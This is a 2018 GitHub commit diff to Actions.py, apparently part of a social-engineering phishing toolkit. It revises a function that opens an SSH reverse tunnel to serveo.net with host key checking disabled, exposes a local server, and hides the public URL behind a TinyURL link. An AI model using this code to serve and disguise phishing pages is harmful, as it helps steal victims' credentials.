Update Actions.py

This commit is contained in:
Usama Abdul Sattar 2018-11-01 10:27:14 +05:00 committed by GitHub
parent 2874a86e4b
commit 7ba238c23a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -99,18 +99,25 @@ def runNgrok():
def runServeo():
system('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:1111 serveo.net > link.url 2> /dev/null &')
sleep(7)
with open('link.url') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
pass
else:
runServeo()
output = check_output("grep -o 'https://[0-9a-z]*\.serveo.net' link.url", shell=True)
url = str(output).strip("b ' \ n")
print("\n {0}[{1}*{0}]{1} SERVEO URL: {2}".format(RED, DEFAULT, GREEN) + url + "{1}".format(RED, DEFAULT, GREEN))
link = check_output("curl -s 'http://tinyurl.com/api-create.php?url='"+url, shell=True).decode().replace('http', 'https')
print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(RED, DEFAULT, GREEN) + link + "{1}".format(RED, DEFAULT, GREEN))
print("\n")
try:
output = check_output("grep -o 'https://[0-9a-z]*\.serveo.net' link.url",shell=True)
url = str(output).strip("b ' \ n")
print("\n {0}[{1}*{0}]{1} SERVEO URL: {2}".format(RED, DEFAULT, GREEN) + url + "{1}".format(RED, DEFAULT, GREEN))
print("\n")
data = urlopen("http://tinyurl.com/api-create.php?url="+url)
url = data.read()
link = url.decode('utf-8')
print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(RED, DEFAULT, GREEN) + link + "{1}".format(RED, DEFAULT, GREEN))
print("\n")
except subprocess.CalledProcessError:
print ('''
....._____....... ____ ____ ____ _ ____ _ ____ _ ____ _ _
/ \/| [__ | | | | |__| | |___ | [__ |__|
\o__ /\| ___] |__| |___ | | | |___ | | ___] | |
\|
{0}[{1}!{0}]{1} Network error. Verify your connection.\n
'''.format(RED, DEFAULT))
exit(0)
def runMainMenu(): #menu where user select what they wanna use
system('clear')